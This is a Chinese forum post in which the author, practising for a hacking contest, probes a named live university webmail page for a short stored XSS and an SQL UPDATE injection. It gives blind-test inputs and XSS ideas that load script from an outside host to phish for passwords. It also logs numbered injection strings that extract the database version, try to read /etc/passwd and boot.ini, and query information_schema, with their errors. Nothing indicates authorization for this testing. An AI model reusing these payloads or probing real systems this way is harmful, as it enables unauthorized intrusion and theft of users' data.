PS：为了给"奇虎360 网络攻防赛"的决赛积累经验，在尝试复杂的漏洞攻击，于是就碰到了这个漏洞。
-----------------------------------------------
漏洞地址：
http://mails.jlu.edu.cn/userproperty.php
（需要用户认证，该网页保存并显示用户提交的用户名）

漏洞描述：
1.31字节的存储式xss
2.sql update注入
-----------------------------------------------

首先，盲测，依次输入
><script>alert("ok!");</script
><? phpinfo(); ?
")"/\
得到的信息：
1.从>之后的信息被放到</input>标签之后
2.sql语句为：UPDATE user SET name='$post' where id =xxxxxx@mails.jlu.edu.cn'
3.php语句会被注释为 <!--? phpinfo(); ?-->

-----------------------------------------------
关于33字节的xss利用：
本想构造一个类似于
><script>window.open("test.com");</script
或者
><script src="xx.cn/1.js"></script>
的网页来欺骗输入账号密码，但33个字符的发挥空间真是很小。

----------------------------------------------
关于sql update注入：
1.用#注释掉之后的语句
2.使用变量输出想要的答案

以下是测试记录：
1.summer1' where name="3" and exists(select * from dual)   # #'
2.summer2',name=@ver where name="summer22" and (select  @ver:=substring('2011-11-17',1))  # #'
证明是mysql
3.summer2',name=@ver where name="summer1" and (select  @ver:=version())  # #'  
达到版本号4.1.20
4.summer2',name=@ver where name="4.1.20" and (select  @ver:=DATABASE() )  # #'     
执行失败
summer2',name=@ver where name="4.1.20" and (select  @ver:=user() )  # #'
执行失败
5.summer2',name=@ver where name="4.1.20" and (select  @ver:=load_file("/etc/passwd") )  # #'
执行失败
summer2',name=@ver where name="4.1.20" and (select  @ver:=load_file("c:\\boot.ini") )  # #'
执行失败
6.summer1' where name="summer2" and EXISTS(SELECT column_name from information_schema.columns)     # #'
err:Access denied for user 'mail'@'10.100.108.4' to database 'information_schema'
7.summer1' where passwd="new234567"    # #'
不存在字段password,passwd,pw,id,uid,email,mail,email_id

-----暂时只得到这些结果，这个洞利用起来真是让人头疼啊-----

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！